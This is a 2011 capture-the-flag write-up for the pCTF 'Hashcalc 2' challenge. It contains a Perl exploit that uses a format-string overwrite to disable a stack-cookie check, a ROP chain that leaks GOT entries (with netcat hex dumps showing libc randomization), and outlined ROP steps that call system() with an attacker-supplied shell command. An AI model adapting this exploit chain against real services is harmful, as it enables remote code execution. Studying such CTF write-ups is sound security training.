25
Apr
2011

pCTF 2011 – Mission #26: “Hashcalc 2” write-up

The second hashcalc challenge is much the same as the first (make sure to read it!). Except this version is launched from inetd instead of being a forking server. This is annoying because it means that stack cookies and library offsets change every run. Let’s verify that by adapting our exploit to dump the GOT to the new binary.

#!/usr/bin/perl
my $s = "";

# patch stack cookie failure function
$s .= "\x34\x91\x04\x08".
      "\x36\x91\x04\x08".
      "\x4c\x91\x04\x08".
      "\x4e\x91\x04\x08";

$s .= '%5$34992x%5$n%5$30528x%5$2052x%6$n' . 
      '%7$32910x%7$n%7$30574x%7$2052x%8$n';

# pad to buffer size
$s .= "A"x(256-6-68-16);

# stack cookie, saved ebx, saved ebp, return addr
$s .= pack(
        "IIII",
        0xd1adbeef, 0xdeadbeef, 0xdeadbeef, 0x8048977
);

# alignment
$s .= "\0\0";

# ROP:
$s .= pack(
        "IIIIII",
        0x8048774, 0xdeadbeef, int($ARGV[1]), 
        0x80490f8, (0x8049150+4)-0x80490f8, 0
);

print $s;
wizard@ace:~/pctf$ (sleep 1; ./clever2.pl 1; sleep 1) | nc -p3000 localhost 2000 | tail -c+47 | hd
000000  6a 86 04 08 e0 d2 65 f7  f0 fb 68 f7 9a 86 04 08  |j.....e...h.....|
000010  c0 64 62 f7 d0 82 69 f7  00 dc 5d f7 a0 b9 63 f7  |.db...i...]...c.|
000020  60 4e 61 f7 00 b6 63 f7  60 42 62 f7 90 e5 60 f7  |`Na...c.`Bb...`.|
000030  c0 0d 66 f7 3a 87 04 08  60 e5 60 f7 c0 88 04 08  |..f.:...`.`.....|
000040  01 00 68 f7 50 84 69 f7  8a 87 04 08 50 82 69 f7  |..h.P.i.....P.i.|
000050  30 ea 65 f7 92 88 04 08  02 00 66 f7              |0.e.......f.|
00005c
wizard@ace:~/pctf$ (sleep 1; ./clever2.pl 1; sleep 1) | nc -p3000 localhost 2000 | tail -c+47 | hd
000000  6a 86 04 08 e0 32 65 f7  f0 5b 68 f7 9a 86 04 08  |j....2e..[h.....|
000010  c0 c4 61 f7 d0 e2 68 f7  00 3c 5d f7 a0 19 63 f7  |..a...h..<]...c.|
000020  60 ae 60 f7 00 16 63 f7  60 a2 61 f7 90 45 60 f7  |`.`...c.`.a..E`.|
000030  c0 6d 65 f7 3a 87 04 08  60 45 60 f7 c0 88 04 08  |.me.:...`E`.....|
000040  01 00 68 f7 50 e4 68 f7  8a 87 04 08 50 e2 68 f7  |..h.P.h.....P.h.|
000050  30 4a 65 f7 92 88 04 08  02 00 65 f7              |0Je.......e.|
00005c

So it’s definately being randomized. This can be solved pretty easily by combining the two steps from hashcalc1 into a single ROP sequence: dump GOT to show address of libc, read the pointer for system() from the socket into a spare GOT entry, and then call the plt entry corresponding to that GOT slot.

First, dump the first GOT entry:

0x8048774, 0x8048dd5, int($ARGV[1]), 0x80490f8, 4, 0

Then, read 4 bytes into this GOT entry (the address for system(), calculated by the client using the value we just sent him):

0x80486b4, 0x8048dd5, int($ARGV[1]), 0x80490f8, 4, 0

Now read the shell command:

0x80486b4, 0x8048dd5, int($ARGV[1]), 0x804915c, 0x200, 0

And execute it by calling the plt entry for the overwritten GOT slot:

0x8048664, 0xdeadbeef, 0x804915c

Comments are closed.